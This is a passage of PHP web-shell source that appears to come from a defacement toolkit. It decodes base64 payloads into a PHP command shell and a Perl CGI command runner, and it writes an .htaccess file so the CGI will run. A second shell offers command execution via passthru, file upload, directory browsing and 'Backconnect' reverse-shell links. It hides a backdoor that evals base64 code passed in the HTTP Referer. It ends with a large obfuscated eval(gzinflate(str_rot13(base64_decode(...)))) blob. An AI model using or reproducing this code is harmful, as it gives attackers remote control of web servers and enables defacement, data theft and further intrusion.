RGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBi
b3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0
cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMiIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMw
IiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PGNlbnRlcj48Zm9udCBjb2xvcj0iIzAwMzNGRiI+
DQo8P3BocA0KZWNobyAiPGI+PGZvbnQgY29sb3I9Ymx1ZT5Db21tYW5kIFNoZWxsPC9mb250Pjwv
Yj48YnI+IjsNCnByaW50X3IoJw0KPHByZT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIi
Pg0KPGI+PGZvbnQgY29sb3I9Ymx1ZT5Lb211dCA6PC9mb250PjwvYj48aW5wdXQgbmFtZT0iYmFi
YSIgdHlwZT0idGV4dCI+PGlucHV0IHZhbHVlPSJCYXMga29tdXR1IGRheWkiIHR5cGU9InN1Ym1p
dCI+DQo8L2Zvcm0+DQo8L3ByZT4NCicpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5p
X3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KJGxpejA9c2hlbGxfZXhlYygkX1BPU1RbYmFiYV0p
OyANCiRsaXowemltPXNoZWxsX2V4ZWMoJF9QT1NUW2xpejBdKTsgDQokdWlkPXNoZWxsX2V4ZWMo
J2lkJyk7DQokc2VydmVyPXNoZWxsX2V4ZWMoJ3VuYW1lIC1hJyk7DQplY2hvICI8cHJlPjxoND4i
Ow0KZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPmlkIDo8L2ZvbnQ+PC9iPjokdWlkPGJyPiI7DQpl
Y2hvICI8Yj48Zm9udCBjb2xvcj1yZWQ+U2VydmVyPC9mb250PjwvYj46JHNlcnZlcjxicj4iOw0K
ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPktvbXV0IFNvbnXnbGFyMTo8L2ZvbnQ+PC9iPjxicj4i
OyANCmVjaG8gJGxpejA7DQplY2hvICRsaXowemltOw0KZWNobyAiPC9oND48L3ByZT4iOw0KPz4=
';

$file = fopen("safe.php" ,"w+");
$write = fwrite ($file ,base64_decode($mini));
fclose($file);
   echo "<iframe src=safeof/safe.php width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_28":
    mkdir('cgirun', 0755);
    chdir('cgirun');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .pr";
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgico = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIw0KIyBQZXJsS2l0LTAuMSAt
IFtEb2FyIHVzZXJpaSBpbnJlZ2lzdHJhdGkgcG90IHZlZGVhIGxpbmt1cmlsZS4gXQ0KIw0KIyBj
bWQucGw6IFJ1biBjb21tYW5kcyBvbiBhIHdlYnNlcnZlcg0KDQp1c2Ugc3RyaWN0Ow0KDQpteSAo
JGNtZCwgJUZPUk0pOw0KDQokfD0xOw0KDQpwcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWxc
clxuIjsNCnByaW50ICJcclxuIjsNCg0KIyBHZXQgcGFyYW1ldGVycw0KDQolRk9STSA9IHBhcnNl
X3BhcmFtZXRlcnMoJEVOVnsnUVVFUllfU1RSSU5HJ30pOw0KDQppZihkZWZpbmVkICRGT1JNeydj
bWQnfSkgew0KICAkY21kID0gJEZPUk17J2NtZCd9Ow0KfQ0KDQpwcmludCAnPEhUTUw+DQo8Ym9k
eT4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0iY21kIiBzaXplPTQ1IHZhbHVlPSInIC4gJGNtZCAuICciPg0KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IlJ1biI+DQo8L2Zvcm0+DQo8cHJlPic7DQoNCmlmKGRlZmluZWQgJEZPUk17J2Nt
ZCd9KSB7DQogIHByaW50ICJSZXN1bHRzIG9mICckY21kJyBleGVjdXRpb246XG5cbiI7DQogIHBy
aW50ICItIng4MDsNCiAgcHJpbnQgIlxuIjsNCg0KICBvcGVuKENNRCwgIigkY21kKSAyPiYxIHwi
KSB8fCBwcmludCAiQ291bGQgbm90IGV4ZWN1dGUgY29tbWFuZCI7DQoNCiAgd2hpbGUoPENNRD4p
IHsNCiAgICBwcmludDsNCiAgfQ0KDQogIGNsb3NlKENNRCk7DQogIHByaW50ICItIng4MDsNCiAg
cHJpbnQgIlxuIjsNCn0NCg0KcHJpbnQgIjwvcHJlPiI7DQoNCnN1YiBwYXJzZV9wYXJhbWV0ZXJz
ICgkKSB7DQogIG15ICVyZXQ7DQoNCiAgbXkgJGlucHV0ID0gc2hpZnQ7DQoNCiAgZm9yZWFjaCBt
eSAkcGFpciAoc3BsaXQoJyYnLCAkaW5wdXQpKSB7DQogICAgbXkgKCR2YXIsICR2YWx1ZSkgPSBz
cGxpdCgnPScsICRwYWlyLCAyKTsNCiAgICANCiAgICBpZigkdmFyKSB7DQogICAgICAkdmFsdWUg
PX4gcy9cKy8gL2cgOw0KICAgICAgJHZhbHVlID1+IHMvJSguLikvcGFjaygnYycsaGV4KCQxKSkv
ZWc7DQoNCiAgICAgICRyZXR7JHZhcn0gPSAkdmFsdWU7DQogICAgfQ0KICB9DQoNCiAgcmV0dXJu
ICVyZXQ7DQp9';

$file = fopen("cgi.pr" ,"w+");
$write = fwrite ($file ,base64_decode($cgico));
fclose($file);
    chmod("cgi.pr",0755);
   echo "<iframe src=cgirun/cgi.pr width=100% height=100% frameborder=0></iframe> ";
break;

}
?>
<?
// Keeps your deface
error_reporting(0);set_magic_quotes_runtime(0);if(strtolower(substr(PHP_OS, 0, 3)) == "win"){$s="\";}else{$s="/";}$ad=$_REQUEST['ad'];
if ($ad){chdir($ad);}else{$ad=getcwd();}if ($_FILES["ff"]){move_uploaded_file($_FILES["ff"]["tmp_name"], $_FILES["ff"]["name"]);}
if ($hr = opendir($ad)) {while($f = readdir($hr)){if(is_dir($f)){$df=$df.$f.'
';}else{$lf=$lf.$f.'
';}}closedir($hr);}$form='<form action="'.$_SERVER['PHP_SELF'].'" method=get>';
parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' && count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo '</star>';}
echo '<center><textarea cols=90 rows=20>';if($_GET['cme']){passthru($_GET['cme']);}else{echo $df.$lf;};echo'</textarea>'.$form.'Change Dir : <input name=ad size=50 value='.getcwd().$s.'><input type=submit value=Go></form>'.$form.'Command Execute : <input name=cme size=50 value=id> <input type=submit value=eXecute></form><form action="'.$me.'" method=post enctype=multipart/form-data>Upload : <input size=50 type=file name=ff > <input type=hidden name=ad value='.getcwd().'><input type=submit value=Send></form>'.$form.'Will be contacted from Port 22; : <a href="?BackConnect=PHP_1"><font color="green">Php Backconnect 1</font></a>
&nbsp;&nbsp;<a href="?BackConnect=PHP_2"><font color="red">Php Backconnect 2</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_3"><font color="orange">Php Backconnect 3</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_13"><font color="orange">Php Backconnect 4</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_4"><font color="pink">Dc Backconnect</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_21"><font color="white">Perlsocket</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_5"><font color="yellow">Python Bacconnect</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_17"><font color="red">Python izo</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_12"><font color="brown">Metasploit Bacconnect</font></a></form>';

Did this file decode correctly?

Original Code

eval (gzinflate(str_rot13(base64_decode("
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